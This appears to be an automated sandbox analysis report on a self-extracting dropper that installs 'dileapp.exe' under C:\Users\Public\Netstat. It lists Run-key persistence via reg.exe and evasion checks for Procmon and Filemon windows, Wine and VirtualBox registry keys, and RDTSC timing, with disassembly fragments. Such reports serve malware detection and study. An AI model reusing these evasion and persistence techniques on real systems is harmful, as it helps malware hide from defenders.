Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: file.exe

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Source: C:\Users\Public\Netstat\dileapp.exe	Unpacked PE file: 5.2.dileapp.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW;
Source: C:\Users\Public\Netstat\dileapp.exe	Unpacked PE file: 9.2.dileapp.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW;
Source: C:\Users\Public\Netstat\dileapp.exe	Unpacked PE file: 12.2.dileapp.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW;
Source: C:\Users\Public\Netstat\dileapp.exe	Unpacked PE file: 15.2.dileapp.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fngpdisv:EW;tvvnknfw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Netstat\__tmp_rar_sfx_access_check_5902140

Uses cmd line tools excessively to alter registry or file data

Source: dileapp.exe.0.dr	Static PE information: real checksum: 0x1d95c5 should be: 0x1deca8
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x224cb2

Source: dileapp.exe.0.dr	Static PE information: section name:
Source: dileapp.exe.0.dr	Static PE information: section name: .idata
Source: dileapp.exe.0.dr	Static PE information: section name:
Source: dileapp.exe.0.dr	Static PE information: section name: fngpdisv
Source: dileapp.exe.0.dr	Static PE information: section name: tvvnknfw
Source: dileapp.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AD8B6 push ecx; ret		0_2_007AD8C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007ACDF0 push eax; ret		0_2_007ACE0E

Source: dileapp.exe.0.dr	Static PE information: section name: entropy: 7.978907373562353
Source: dileapp.exe.0.dr	Static PE information: section name: fngpdisv entropy: 7.954644533693645

Persistence and Installation Behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Netstat\dileapp.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior

Source: C:\Users\Public\Netstat\dileapp.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\Public\Netstat\dileapp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	System information queried: FirmwareTableInformation	Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1029288 second address: 102929F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCCB0D02D08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jne 00007FCCB0D02D06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B31B9 second address: 11B31BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B331F second address: 11B3328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3328 second address: 11B332C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B332C second address: 11B334B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FCCB0D02D06h 0x00000011 jmp 00007FCCB0D02D0Eh 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B334B second address: 11B334F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B334F second address: 11B3355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3355 second address: 11B335B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3497 second address: 11B34DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D16h 0x00000007 jmp 00007FCCB0D02D12h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCCB0D02D15h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B34DD second address: 11B34E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B34E1 second address: 11B3504 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FCCB0D02D06h 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3504 second address: 11B352D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FCCB120DFDEh 0x00000010 pushad 0x00000011 popad 0x00000012 jp 00007FCCB120DFD6h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FCCB120DFDFh 0x0000001f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B352D second address: 11B3531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3AA6 second address: 11B3AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FCCB120DFD6h 0x0000000a jmp 00007FCCB120DFDDh 0x0000000f jo 00007FCCB120DFE2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3AC5 second address: 11B3ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B3ACB second address: 11B3AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007FCCB120DFD6h 0x0000000c jmp 00007FCCB120DFE0h 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71A4 second address: 11B71A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71A8 second address: 11B71AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71AE second address: 11B71B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71B3 second address: 11B71C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71C5 second address: 11B71F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007FCCB0D02D14h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B71F0 second address: 11B7255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FCCB120DFD6h 0x00000009 ja 00007FCCB120DFD6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jbe 00007FCCB120DFE6h 0x0000001c jmp 00007FCCB120DFE0h 0x00000021 pop eax 0x00000022 jmp 00007FCCB120DFE3h 0x00000027 lea ebx, dword ptr [ebp+138F1FBEh] 0x0000002d sub dword ptr [ebp+13763309h], edx 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FCCB120DFE6h 0x0000003b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B72DA second address: 11B7302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCCB0D02D0Eh 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B7302 second address: 11B7353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 32357646h 0x0000000e mov dl, ah 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FCCB120DFD8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov cx, A4EFh 0x00000032 push 00000003h 0x00000034 xor dword ptr [ebp+13763676h], edx 0x0000003a push B7BDBA2Fh 0x0000003f push ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FCCB120DFDDh 0x00000047 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B744F second address: 11B7454 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B7454 second address: 11B74D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFDDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 4FFF7F21h 0x00000013 or edx, 744D09E7h 0x00000019 push 00000003h 0x0000001b mov dword ptr [ebp+1376B64Bh], edx 0x00000021 mov edx, dword ptr [ebp+13762C74h] 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FCCB120DFD8h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 mov dword ptr [ebp+13762DB2h], edx 0x00000049 push 00000003h 0x0000004b jmp 00007FCCB120DFE2h 0x00000050 mov esi, dword ptr [ebp+1376375Fh] 0x00000056 push 7E2282CDh 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B74D0 second address: 11B74D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B74D5 second address: 11B750E instructions: 0x00000000 rdtsc 0x00000002 je 00007FCCB120DFD8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 41DD7D33h 0x00000013 mov edi, 4C09BFCFh 0x00000018 lea ebx, dword ptr [ebp+138F1FD2h] 0x0000001e pushad 0x0000001f mov dword ptr [ebp+1376310Bh], eax 0x00000025 mov esi, dword ptr [ebp+137621E6h] 0x0000002b popad 0x0000002c mov dword ptr [ebp+13763676h], edi 0x00000032 push eax 0x00000033 pushad 0x00000034 pushad 0x00000035 push eax 0x00000036 pop eax 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11B750E second address: 11B7529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCCB0D02D14h 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11C9722 second address: 11C973C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCCB120DFE6h 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11C973C second address: 11C975C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jnl 00007FCCB0D02D06h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11C975C second address: 11C9762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11C9762 second address: 11C9766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11A6384 second address: 11A6388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D695E second address: 11D6962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6AA0 second address: 11D6AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6AA5 second address: 11D6ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCCB0D02D0Ah 0x0000000b popad 0x0000000c jc 00007FCCB0D02D0Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6ABE second address: 11D6AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FCCB120DFD8h 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6AD1 second address: 11D6AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Ch 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D6EC4 second address: 11D6EC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11A63B2 second address: 11A63B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D749A second address: 11D74A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D74A5 second address: 11D74AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D74AA second address: 11D74E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB120DFDCh 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007FCCB120DFD6h 0x00000010 popad 0x00000011 jmp 00007FCCB120DFDEh 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007FCCB120DFDCh 0x00000020 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D769B second address: 11D76A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D76A1 second address: 11D76B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFDCh 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D76B1 second address: 11D76B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D7831 second address: 11D785B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCCB120DFDBh 0x0000000e js 00007FCCB120DFD6h 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11CAD37 second address: 11CAD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11CAD3B second address: 11CAD51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDCh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11CAD51 second address: 11CAD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCCB0D02D12h 0x00000009 jmp 00007FCCB0D02D11h 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1195A1C second address: 1195A42 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCCB120DFE8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCCB120DFDAh 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11D7F8F second address: 11D7F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
